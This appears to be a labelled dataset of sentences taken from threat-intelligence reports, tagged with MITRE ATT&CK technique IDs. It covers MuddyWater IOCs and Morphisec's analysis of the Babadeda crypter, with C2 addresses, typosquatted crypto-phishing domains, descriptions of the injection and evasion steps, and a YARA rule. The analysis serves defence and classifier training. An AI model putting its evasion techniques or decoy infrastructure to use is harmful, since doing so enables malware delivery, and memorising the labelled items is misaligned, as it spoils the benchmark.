{"sentence": "index[.]exe MD5: 5763530f25ed0ec08fb26a30c04009f1 SHA-1: 2a6ddf89a8366a262b56a251b00aafaed5321992 SHA-256: bf090cf7078414c9e157da7002ca727f06053b39fa4e377f9a0050f2af37d3a2 File type: Win32 EXE File size: 16.46 MB (17263089 bytes) IOCs 13.107.4[.]50:80 (TCP) 192.168.0[.]1:137 (UDP) 192.168.0[.]25:137 (UDP) 20.99.132[.]105:443 (TCP) 209.197.3[.]8:80 (TCP) 23.216.147[.]64:443 (TCP) a83f:8110:0:0:7f00:0:0[:]0:53 (UDP) a83f:8110:492a:", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "d801:d1df:1328:492a[:]d801:53 (UDP) a83f:8110:5067:d801:beac:bf78:cce1[:]d301:53 (UDP) Appendix 3: IOCs of Canopy Cooperation terms[.]xls MD5: b0ab12a5a4c232c902cdeba421872c37 SHA-1: a8e7659942cc19f422678181ee23297efa55fa09 SHA-256: 026868713d60e6790f41dc7046deb4e6795825faa903113d2f22b644f0d21141 File type: MS Excel Spreadsheet File size: 247.00 KB (252928 bytes) IOCs 88.119.170[.]124:80 (TCP) ZaibCb15Ak[.]xls MD5: 6cef87a6ffb254bfeb61372d24e1970a SHA-1: e21d95b648944ad2287c6bc01fcc12b05530e455 SHA-256: 4b2862a1665a62706f88304406b071a5c9a6b3093daadc073e174ac6d493f26c File type: MS Excel Spreadsheet File size: 249.00 KB (254976 bytes) IOCs 5.199.133[.]149:80 (TCP) Appendix 4:IOCs of Mori FML[.]dll MD5: 0431445d6d6e5802c207c8bc6a6402ea SHA-1: 3765c1ad8a1d936aad88255aef5d6d4ce24f94e8 SHA-256: 3098dd53da40947a82e59265a47059e69b2925bc49c679e6555d102d1c6cbbc8 File type: Win32 DLL File size: 200.65 MB (210397496 bytes)", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "Appendix 5:IOCs of POWERSTATS LisfonService[.]exe MD5: f5dee1f9cd47dc7bae468da9732c862e SHA-1: 5273ee897e67fc01ee5fef08c37400cb4ee15958 SHA-256: 6f8226d890350943a9ef4cc81598e0e953d8ba9746694c0b7e3d99e418701b39 File type: Win32 EXE File size: 119.00 KB (121856 bytes) TestService[.]exe MD5: e75443a5e825f69c75380b6dc76c6b50 SHA-1: 142b5753c608c65e702e41b52abdeb96cb2f9294 SHA-256: c514c3f293f0cb4c23662a5ab962b158cb97580b03a22b82e21fa3b26d64809c File type: Win32 EXE File size: 92.50 KB (94720 bytes) IOCs 13.107.4.50:80 (TCP) a83f:8110:e0:ffff:e0:ffff:e0[:]ffff:53 (UDP) The post Dark Web Profile: MuddyWater APT Group appeared first on SOCRadar:registered: Cyber Intelligence Inc..", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "The cryptocurrency market is now worth more than $2.5 trillion.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "Unfortunately, this fact is not lost on threat actors.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "As well as using cryptocurrency themselves to extract ransoms, cybercriminals are now also tailoring malware to exploit the booming market for NFTs and crypto games.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "In a discovery of critical importance to anyone familiar with this space, Morphisec Labs has encountered a new campaign of malware targeting cryptocurrency enthusiasts through Discord.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "Crucially, the crypter that this campaign deploys, which we have termed Babadeda (a Russian language placeholder used by the crypter itself which translates to “Grandma-Grandpa”), is able to bypass signature-based antivirus solutions.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "Although some variants of this crypter have been noted by other vendors, Morphisec is the first to fully disclose how it works.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "For victims, this makes infections highly likely — and dangerous.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "We know that this malware installer has been used in a variety of recent campaigns to deliver information stealers, RATs, and even LockBit ransomware.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "Fortunately, however, even as the threat level for cryptocurrency users rises, we also know that Morphisec’s Moving Target Defense technology is capable of both seeing and stopping Babadeda.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "In this blog post, we will explore how Babadeda is being delivered, what an in-depth technical analysis of this malware tells us about it, and how it can be stopped.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "Crypto and NFT Communities Are Prime Targets Since May 2021, we have observed several malware distribution campaigns.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "However, many of the recent infections we have seen appear to be related to a sophisticated campaign that exclusively targets the Crypto, NFT, and DeFi communities.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "It is precisely for this reason, as well as the fact that NFTs are rising in popularity, that we have decided to take a look at this particular campaign distribution in more detail.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "For those who are not familiar with NFTs (Non-fungible token): the term refers to unique tokens that provide proof of ownership on data that is stored on the blockchain technology.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "In recent years, NFTs have exploded in popularity, and are now starting to enter the mainstream consciousness.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "Naturally, this growing trend in the crypto space has opened up a new vector for threat actors to exploit.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "The DElivery Chain The vast majority of today's NFT and crypto communities are based on Discord (a group chatting platform) channels.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "Discord channels are publicly accessible and allow users to send private messages to one another within a channel.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "In the campaign that we observed, a threat actor took advantage of these features in order to phish victims.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "The threat actor sent users a private message inviting them to download a related application that would supposedly grant the user access to new features and/or additional benefits.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "Because the actor created a Discord bot account on the official company discord channel, they were able to successfully impersonate the channel’s official account.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "Below is an example of a phishing message that targeted users of “Mines of Dalarna”, a PC game built on the blockchain.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "Figure 1: Fake message on the discord channel.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "If a user clicks on the URL within the message, it will direct them to a decoy site.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "There, the user will be encouraged to download a malicious installer that embeds the Crypter with the payload.", "labels": ["T1027", "T1204.002"], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "Figure 2: Original and decoy sites comparison As you can see from the example above, the threat actor took extended measures to ensure that the delivery chain looks legitimate even to technical users.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "Typically: Cybersquatting - the domain names of the decoy sites look a lot like the domain names of the original sites Threat actors will usually remove/add a letter from/to the domain name or change the top-level domain.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "The domains are signed with a certificate (via LetsEncrypt), which enables an HTTPS connection.", "labels": ["T1071.001"], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "The UI of the decoy pages is very similar to the UI of the original pages.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "Upon clicking “Download APP”, the site will generally navigate to /downland.php, which will redirect the download request to a different domain (this makes it less likely that someone will detect a decoy site).", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "Interestingly, on one of these decoy sites, we noticed an HTML object written in Russian.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "This suggests that the threat actor's origins may be in a Russian-speaking country since they most likely forgot to translate the HTML object from their native language into English Figure 3: Lost in translation?", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "Decoy site examples The following table shows a few examples of the decoy sites used in the campaigns we have observed.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "Original Domain Decoy Domain Description IP Resolved Installer Name opensea.io openseea[.]netopenseaio[.]net The most popular NFT marketplace 185.117.2[.]82 OpenSea-App_v2.1-setup.exe larvalabs.com larvaslab[.]comlarva-labs[.]net The creators of CryptoPunks - The most popular PFP NFTs 185.117.2[.]81185.117.2[.]8245.142.182[.]160 LarvaLabs-App_v2.1.1-setup.exe boredapeyachtclub.com boredpeyachtclub[.]com BAYC - one of the most popular PFP NFTs 185.117.2[.]4 185.212.130[.]64 BAYC-App-v2.1-release.exe We have identified at least 82 domains created between July 24, 2021, and November 17, 2021, with the following registration time distribution (credit to @msuiche).", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "The Payloads The following table tracks the RATs used by this specific campaign’s threat actor", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": ": Dates Observed RAT C2 11 Nov 2021 - 22 Nov 2021 Remcos 65.21.127.164[:]4449 14 Oct 2021 - 22 Oct 2021 BitRAT 135.181.6.215[:]7777 09 Sep 2021 - 14 Oct 2021 BitRAT 135.181.140.153[:]7777 24 Aug 2021 - 07 Sep 2021 BitRAT 135.181.140.182[:]7777 Technical Analysis of the Babadeda Crypter Figure 4: Execution flow diagram During our research, we found different variants of the same Crypter — all of which contain the same main execution flow (denoted by the figure above).", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "While investigating the Crypter, we saw how important it was for the threat actor to hide its malicious intentions inside legitimate applications in order to avoid detection.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "The following figure emphasizes the complexity of the evasive techniques that are implemented in the Crypter. Figure 5: Low detection rate on VT The Installer Once downloaded and executed, the malicious installer copies its compressed files into a newly created folder with a legitimate-looking name (i.e., IIS Application Health Monitor) in one of the following directory paths: C:\\Users\\<user>\\AppData\\Roaming\\C:\\Users\\<user>\\AppData\\Local\\ The malicious files are copied along with many other open-source or free application-related files.", "labels": ["T1036.005"], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "At first glance, the files within the directory may seem legitimate.", "labels": ["T1036.005"], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "However, looking at these files carefully it becomes apparent that some of them are suspicious and should be inspected, as shown by the figure below.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "Figure 6: The compressed files (malware files selected with stage numbers) Crypter Execution After dropping the mentioned files, the Installer starts execution via the main executable (number 1 in the figure above).", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "We have noticed that at this point, some variants display a fake error message that stops the execution until the user interacts with the message.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "This fake message might be used as a security solutions evasion technique.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "Alternatively, its role may be to deceive the user into thinking that the application has failed to execute, even as it silently continues the malicious execution in the background.", "labels": ["T1204.002"], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "Figure 7: Fake error message By analyzing the two different variants, we can see the implementation of this message box: Figure 8: Comparison between variants As we can see in the figure below, the function’s code is much longer compared to the actual DLL loading code.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "That’s because the actor has implanted its actions within a legitimate application code in order to confuse analysts, obfuscate its real intentions, and make it harder for antivirus solutions to detect.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "Figure 9: Left - the full function.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "Right - the DLL loading code The Shellcode's Loader DLL", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "The threat actor generally embeds the next stages of the execution inside an additional file, usually an XML or a PDF file.", "labels": ["T1027"], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "Nonetheless, we have also observed additional file types such as JavaScript, Text, and PNG.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "Here, just like before, the actor embeds the malicious code inside different legitimate codes.", "labels": ["T1027"], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "We have extracted the relevant sections to clearly demonstrate the malware’s activity: Figure 10: Exported function logic The malicious logic starts by reading the additional file (in this case an XML file) and calling kernel32!Sleep for 35 seconds (the duration changes between variants).", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "Next, it loads this entire file to memory and starts its parsing task.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "The first piece that is parsed from the file is a shellcode located in a pre-calculated offset (in this case, 0x88D8C and overwrites the executable at offset 0x1600).", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "Figure 11: The shellcode bytes inside the XML file The executable .text section’s characteristics are configured to RWE (Read-Write-Execute) -- that way the actor doesn't need to use VirtualAlloc or VirtualProtect in order to copy the shellcode and transfer the execution.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "This helps with evasion since those functions are highly monitored by security solutions.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "Once the shellcode is copied to the executable, the DLL calls to the shellcode’s entry point (shellcode_address).", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "Persistency Implementation If the crypter is configured to install persistence, the loader DLL will execute a new thread that loads another DLL (from the compressed files) that will handle this task. Figure 12: New thread creation for calling the persistent mechanism The newly loaded DLL will either use one of the following logics or both of them to implement the persistency: Write a.lnk file in the startup folder that executes the Crypter’s main executable.", "labels": ["T1547.001"], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "Figure 13: .lnk file persistence implementation Write a registry Run key that executes the Crypter’s main executable.", "labels": ["T1547.001"], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "Figure 14: registry run key persistence implementation The Decryption Shellcode The XML file (or any other file type used by the crypter) contains the following components: The first shellcode (referred to in this section).", "labels": ["T1027", "T1140", "T1547.001"], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "An encrypted additional shellcode (referred to in the next section, the Loader shellcode) An encrypted payload.", "labels": ["T1027", "T1140"], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "The Decryption shellcode has three main tasks: first, it extracts the Loader shellcode and the payload, then it decrypts them, and finally, it transfers the execution to the decrypted Loader shellcode.", "labels": ["T1140"], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "Figure 15: Decryption shellcode execution flow The Decryption shellcode begins with dynamically locating the configuration structure by searching for a sequence of six or more identical bytes.", "labels": ["T1140"], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "This configuration holds pointers to the loader shellcode and the final payload; these are encrypted and split inside the XML. Figure 16: Configuration and XML file’s structures Based on this, we can identify the configuration inside the XML file: Figure 17: Configuration structure Using this configuration the malware iterates over each chunk copies it, and decrypts it using the denoted decryption key (the configuration changes between samples).", "labels": ["T1027", "T1140"], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "Then, the shellcode searches for two DWORD placeholders, 0xBABADEDA and 0xDEADBEAF.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "It replaces the first placeholder with the address of the decrypted payload and the latter with the size of the payload.", "labels": ["T1140"], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "This data is used in the next stage, the Loader shellcode.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "The Loader Shellcode The purpose of the Loader shellcode is to inject the decrypted payload within the currently running process (itself).", "labels": ["T1055", "T1140"], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "We can divide the loading mechanism into three stages: initialization, injection, and correction.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "Initialization This stage is responsible for setting the relevant data that will be used during the injection and correction stages.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "Figure 18: Extracting the data for injection and correction stages To start initializing, the Loader first saves the decrypted payload address and payload size according to the placeholder’s addresses.", "labels": ["T1140"], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "Next, it parses the PE headers of the payload to extract the image size and the entry point according to the current executable’s base address.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "The Loader parses the _PEB structure in order to find the base address of the current executable and the LDR_DATA_TABLE_ENTRY which will be used later.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "Finally, it dynamically loads the VirtualProtect function using a pre-calculated hash value (0xF1C25B45 in our case).", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "Injection This stage is pretty straightforward.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "Within it, the Loader overwrites the current PE with the final payload’s PE.", "labels": ["T1055"], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "It does so by copying the PE headers and each section according to the current executable’s base address.", "labels": ["T1055"], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "Figure 19: Change headers protection and clear memory bytes for the new PE Once previous bytes have been cleared, the Loader copies the new PE headers to the base address and each section to the relevant location according to the IMAGE_SECTION_HEADER.", "labels": ["T1055"], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "Correction The final stage is responsible for fixing the import address table and relocation table of the newly injected PE.", "labels": ["T1055"], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "Figure 20: Fix tables and remove altering evidence mw_construct_IAT Load GetModuleHandleA, LoadLibraryA and GetProcAddress functions by hash (0x9FE4FCE1, 0x85557334 and 0xF23B576D respectively).", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "Iterate over the IAT of the new PE.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "Load each function and update its address.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "mw_construct_RELOC Calculate the delta between the previous image base and the current one.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "Iterate over each entry in the relocation table.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "Add the delta to the entry value.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "In addition to fixing the import address and relocation tables, the Loader removes evidence of injection by using the following methods: Update the LDR data table entry to match the injected PE.", "labels": ["T1027"], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "Remove the injected PE headers from memory.", "labels": ["T1027"], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "These steps attempt to evade memory scanners that seek mismatching LDR data and in-memory PEs.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "Finally, the malware jumps to the entry point of the newly injected PE with the original command-line arguments.", "labels": ["T1055"], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "Conclusion As demonstrated above, Babadeda is a highly dangerous crypter.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "Targeting cryptocurrency users through trusted attack vectors gives its distributors a fast-growing selection of potential victims.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "Once on a victim's machine, masquerading as a known application with a complex obfuscation also means that anyone relying on signature-based malware effectively has no way of knowing Babadeda is on their machine — or of stopping it from executing.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "Mitigating the threat posed by Babadeda requires securing the device memory it targets.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "Morphisec does this through Moving Target Defence, a technology that morphs process memory trapping crypters like Babadeda before they are able to deploy.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "IOCs The sample used in the blog post: File SHA256 Installer 99e6b46a1eba6fd60b9568622a2a27b4ae1ac02e55ab8b13709f38455345aaff difserver.exe 358211210e0bb34dd77073bb0de64bb80723f3434594caf1a95d0ed164ee87a1 libfont-0.6.dll ce3758d494132e7bef7ea87bb8379bb9f4b0c82768d65881139e1ec1838f236c libxml3.dll 0ceead2afcdee2a35dfa14e2054806231325dd291f9aa714af44a0495b677efc menu.xml 080340cb4ced8a16cad2131dc2ac89e1516d0ebe5507d91b3e8fb341bfcfe7d8 YARA Rule rule BABADEDA_Crypter { meta: description = \"Detects BABADEDA Crypter\" author = \"Morphisec labs\" reference = \"https://blog.morphisec.com/the-babadeda-crypter-targeting-crypto-nft--defi-communities\" strings: $entry_shellcode = {55 8B EC 83 EC 58 53 E8 F8 03 00 00 89 45 FC 8B 45 FC 83 C0 11 89 45 CC 8B 45 FC 8B 40 09 8B 4D CC 8D 04} $placeholder_1 = {8138DADEBABA} $placeholder_2 = {8138AFBEADDE} condition: $entry_shellcode and all of ($placeholder_*) } Decoy Domains aave-v3[.]comabracodabra[.]netalchemixfi[.]comapeswaps[.]netapp.sushi-v3[.]comarbitrums[.]comartblocks[.]usastar-network[.]comavalanche-network[.]comavax-bridge[.]comavax-bridge[.]netavax-network[.]netavax.wallet-bridge[.]netavax.wallet-network[.]netavax.wallet-network[.]orgbabydogescoin[.]comboredpeyachtclub[.]combridge-avax[.]combridge-avax[.]netbridge-avax[.]usc-nft[.]netcasper-network[.]comcompoundfinance[.]netcryptoblade[.]netdecentralands[.]netdiviprojects[.]comdydxexchange[.]netgalagamesapp[.]comhedera[.]runilluviums[.]comkeep-network[.]netklimadao[.]netlarva-labs[.]netlarvaslab[.]comlooprings[.]netluckybuddhaluckyclub[.]commangomarkets[.]netmineofdalarnia[.]netmonstasinfinite[.]netmoonebeam[.]comnear-protocol[.]comnetwork-avax[.]netnetwork-avax[.]orgnft-opensee[.]comolympusdao[.]fundopenseaio[.]netopenseea[.]netoptinism[.]netpolkadot-network[.]comprojectseeds[.]netprojectsserum[.]netrareble[.]netrocketspool[.]netsecretswaps[.]netsia-tech[.]netsolanarts[.]comsolsoulnft[.]comsushi-app[.]comsushi-v3[.]comsushi-v3app[.]comterra-money[.]netthetatokenfund[.]comwallet-avalanche[.]comwallet-avalanche[.]netwallet-avalanche[.]orgwallet-avax[.]comwallet-avax[.]infowallet-avax[.]netwallet-bridge[.]netwallet-network[.]netwallet-network[.]orgwa let.bridge-avax[.]uswallet.network-avax[.]orgwonderlaned[.]comzed-run[.]net Hashes 0098b2c38a69132bfde02d329d6c1c6e2b529d32d7b775a2ac78a369c0d108530115ba0f26a7b7ca3748699f782538fa761f7be4845a9dc56a679acea7b76cd3062f019515bff366fcbf49cca3f776c21e2beb81c043a45eea81044a9391fd97112282b873bdbeb5614fc8658934a99d666ba06c4e2840a21cd4458b426a4cad120213353ac7bd835086e081fb85dfa4959f11d20466fd05789ded3bff30bb111252c9103805e02324d2aecb5219e6a071c77b72477eba961621cb09a2138972140d9a4a2ec5507edf7db37dcc58f2176a0e704e8f91c28a60a7f3773e85e1aa14da3566bc9f211528c1824330c46789396447c83c3c830bb91490d873025df818c01e1f6e0185752dbf8c9352d74ade56ac40d25ae701d4a5954b74d0c7aeea196ec622eb7d9420b1c04b3856467abeb3ca565d841f34c3c9a628afc10775c8214d6681f5d82d4fa43e7a8676935ef01ddab8d0847eb3018530aedffe7ebb552e5455e268cf12ebc0213aa5dacb2239358c316dda3ec0f99d0f36074f41fb092fc8dedf82997894bb31a0eca96ae3c589863ec9bf4d1e2af0a84f2e9c3ef3013270599801099d3b5399eb898f79d7b7ec0d728c71d5177244b8110757365ade39b4dc69dd29011135732a881152f99dc19310cb906b7255a3e9ef367258094d3c844e66f0dafdced0861a8e2ff54fd762ba170bf5082fb2c38cdbbac5a7fecb3e52c251dc8683e0f374bcbea27b4b700c05dc39db13336859acbbd32590fe7c3e6a29c04270a4b62375946fdb4c392a1c9b3f64ef391f85bdd67cb78426889f44e00bef4b6d3f03a845208b925c129a5fe1b9ef6ed8cd27144c5e94176aaa6e462f7543326630d209b6433936f0c54f8920d6b5505e88d802ee060320ea81064e6eed44594054ea42f9860c1e53744649a319788e2cb7f1f624e435cbdec43d54391ff27b632a36430889dda51cfa46b694badcae2f0ce952065642c94d89df6342d9c9e087945651b11cec4903f083a20d31182e0be5b2b6030df0a980ff6865363debbbb9a691838e823c34807a9770db30c2af616c5574231af2b16d6aef6e4d56a438062210ba8ca68dee690c1692960ff36936c96586f74ee194e1c8216f247a74aa62fea0577da869fda841170ce6f1fe0e1b9f3b0d8172d336bb7dc671d0c5b5916cc5f91370f42fbfd249795e7c40526ae204becdd20fe453b53e8d72df0397893e1ac981063fbcc0ad048543ba7143ba824f2bb0aa5dfb61538ce67c8242812137aad072fe1cb78d49d01187b869d43ebcfcd87eb590c1bc9f12467e827e1981d2ccaec16a5b646976b0d492d555a20b9ba5dd4ba0d605dfcab2f786b1cf4e6952db195842809ffd7e88e5fdaca8b2b2c0005e995d34cbe9d157ad8b9120fc400510de52fb5c6689f403e5c0aaba3ff58e2ee114286c2cf09615b58ce8c448b5958da3c59874594de428b783116d8c1cf440ab804633799d88af8e90faf9b85d96a09cb689be3a52669a58df2e9ea53b150a97d05de641e624f63495d226710f37a870a338344afac6350b48c5d70c7ac8518c42f694eb0f6aa7c59b132e1d883c4f513d4ac3a5735a28a1917cfde837ee4a4b632a66cce5aa8be2a2545370b390e52376d12776152aff9285b9b3fe6610d2f8dd24b11ccb14c5b3a2e090192bf0b3b00f5bbef0b81858bc17861fedd82e93f0ab6d60777ca6820eaf0c213a2cfb62e6a9ce788c3860c627e035401b75df7f60eb64d4f4bc196aa2b5fe6db30b741f515df94238c8d1a3c51a84fe72f218751c86a254801c3233eeb6dc8341fd38dacb7a2a38a14a21afbab8e7e3f31f2fd29f0bcd7d4eb83e203cbcaaab0cd2178acdf025c7f23f10ab01906a99aca5d07e3a7e261928f8f91695c21e2be7324afb67f1e5cf9fbc95dc346db2ec62d9d8db7b0da9377a00346f41c97893d936b5e1203fb926e7ab612ffd488578e9791f07be4a6eabc83645fb5bca70f7b046f5909f0134a1c465fda3794344f45055ba2dfa802623bd326fe5b6d360daf106314561e9ec57075dd4f544ad52680678a644e186758650a405b765d548c2e3479c6c7a20ffa8a8402aa00c45aaef24102daf5c94c54a8a6013f370d76e7a14ab20d3f28de1ecef803d8b1629ed077495db5ec7b7f5828ed33c684ede644e637da7cd117517b1bb96ee0f58131515013a322366d680f613afa31bc4e5f55a5ecd7315c9e028738ced66d42852569dd061e15610a054c2121c9ed4d9e99d32952bda84f32425681229ec544849156e479b7247e3e480f3a23a39c915f24492ceab91f70c3dd3c5040184dae3bc38804c872ae948ed1ee6906a890b16fb04bc486bf7b6574b5b7caf1ed4f1a21e9e7463adf312219f767a58e8fb2be1fde7bd78e2085f364e0eb145c77b57b8bfa5bacf6a3e6eaed4b9e3a97c065a80fde8ca7c729a25e723a3738a1b5520f29ef2100ba2d9a2739aa30176b039f511 Crypter hashes amadey stealer 4d02224a7dadfc2d8a1343fdc51e4634a98bd073f867bfd091e667efd112108a384292cad1c05552ccbd691de48865ce75375f7e601db66b3f5cad0f8f294d6c5dd0e9ef811c199a06758d65b66d051d3b0057971b021df0928ede727fe17371e312af68203fd80a2dd86a69460941ce29709424310abffd66fd7323a2b8ef6e Cryptbot 